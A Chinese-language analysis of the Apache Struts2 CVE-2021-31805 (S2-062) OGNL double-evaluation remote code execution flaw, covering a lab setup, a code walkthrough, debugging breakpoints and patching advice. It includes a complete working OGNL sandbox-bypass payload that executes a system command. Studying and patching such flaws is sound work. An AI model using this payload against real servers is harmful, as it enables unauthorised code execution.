CVE-2021-31805 Apache Struts2 远程代码执行漏洞分析
字数 1674 2025-08-27 12:33:31
Apache Struts2 远程代码执行漏洞(CVE-2021-31805)深度分析与利用指南
漏洞概述
漏洞编号: CVE-2021-31805 (S2-062)
影响版本: Apache Struts2 2.0.0 至 2.5.29
漏洞类型: 远程代码执行(RCE)
CVSS评分: 9.8 (Critical)
漏洞来源: CVE-2020-17530 (S2-061)修复不完整导致
漏洞背景
Apache Struts2是一个用于开发JavaEE网络应用程序的开源MVC框架。该漏洞是由于Struts2框架对OGNL表达式双重评估处理不当导致的远程代码执行漏洞,是之前CVE-2020-17530漏洞修复不完整的结果。
环境搭建
复现环境选择
-
快速复现:
- 使用Docker集成环境
- 在线漏洞靶场
-
深度分析环境:
- 使用IntelliJ IDEA手工搭建
- 基于S2-061的demo改造
环境改造步骤
-
修改pom.xml:
<dependency> <groupId>org.apache.struts</groupId> <artifactId>struts2-core</artifactId> <version>2.5.26</version> </dependency> -
修改前端JSP文件:
<s:textfield name="%{payload}" /> -
修改Action类:
public class VulnAction extends ActionSupport { private String payload; // getter和setter方法 }
前置知识
Struts2架构流程
- 客户端提交Web请求
- Servlet容器初步解析请求
- 核心处理器FilterDispatcher协调处理
- 拦截器应用通用功能(工作流、验证等)
- Action方法执行
- 结果渲染输出
OGNL表达式语言
OGNL (Object-Graph Navigation Language) 是Struts2的默认表达式语言,具有以下特性:
- 获取和设置Java对象属性
- 调用Java对象方法
- 自动类型转换
OGNL执行三要素
- 表达式(Expression): 语义字符串
- 根对象(Root Object): 操作的目标对象
- 上下文环境(Context): 执行环境
OGNL重要操作符
#: 访问上下文环境%: 强制OGNL解析字符串$: 引用国际化信息
漏洞原理分析
漏洞触发流程
-
第一次OGNL解析:
- 在
evaluateParams函数中调用findString - 对
name属性进行第一次OGNL赋值
- 在
-
属性检查:
- 检查
name属性是否包含value - 检查
name属性是否为空
- 检查
-
第二次OGNL解析:
- 进入
completeExpressionIfAltSyntax函数 - 自动添加
%{}包装 - 通过
findValue进行第二次OGNL解析
- 进入
关键代码分析
// org.apache.struts2.components.UIBean#evaluateParams
protected void evaluateParams() {
// 第一次OGNL解析
String name = findString(this.name);
// 属性检查
if (name != null && !name.isEmpty() && this.value == null) {
// 进入completeExpressionIfAltSyntax
name = completeExpressionIfAltSyntax(name);
// 第二次OGNL解析
Object value = findValue(name);
}
}
// org.apache.struts2.util.ComponentUtils#containsExpression
public static boolean containsExpression(String expr) {
return expr != null && expr.contains("%{") && expr.contains("}");
}
沙箱绕过技术
原始S2-061利用方式
%{
(#request.map=#application.get('org.apache.tomcat.InstanceManager')
.newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0)
+
// 后续利用链...
}
新绕过技术(2.5.26+)
-
创建BeanMap对象新方式:
#@org.apache.commons.collections.BeanMap@{} -
完整利用POC:
%{ (#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) + (#request.map.setBean(#request.get('struts.valueStack'))==true).toString().substring(0,0) + (#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) + (#request.map2.setBean(#request.get('map').get('context'))==true).toString().substring(0,0) + (#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) + (#request.map3.setBean(#request.get('map2').get('memberAccess'))==true).toString().substring(0,0) + (#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet())==true).toString().substring(0,0) + (#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet())==true).toString().substring(0,0) + (#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'})) }
动态调试指南
-
关键断点设置:
org.apache.struts2.views.jsp.ComponentTagSupport#doStartTagorg.apache.struts2.views.jsp.ComponentTagSupport#doEndTagorg.apache.struts2.components.UIBean#endorg.apache.struts2.components.UIBean#evaluateParams
-
调试流程:
- 观察第一次OGNL解析过程
- 跟踪属性检查逻辑
- 分析第二次OGNL解析触发点
- 验证沙箱绕过效果
修复建议
-
官方修复方案:
- 升级到Struts 2.5.30或更高版本
- 下载地址: Struts 2.5.30 Release Notes
-
临时缓解措施:
- 禁用OGNL表达式功能
- 严格过滤用户输入的
%{}格式内容 - 限制可访问的Java类和包
参考资源
总结
CVE-2021-31805漏洞展示了框架修复不完整可能带来的严重后果。通过深入分析该漏洞,我们可以更好地理解Struts2框架的工作原理和OGNL表达式的安全风险。防御此类漏洞需要开发人员和安全团队共同努力,及时更新补丁并实施纵深防御策略。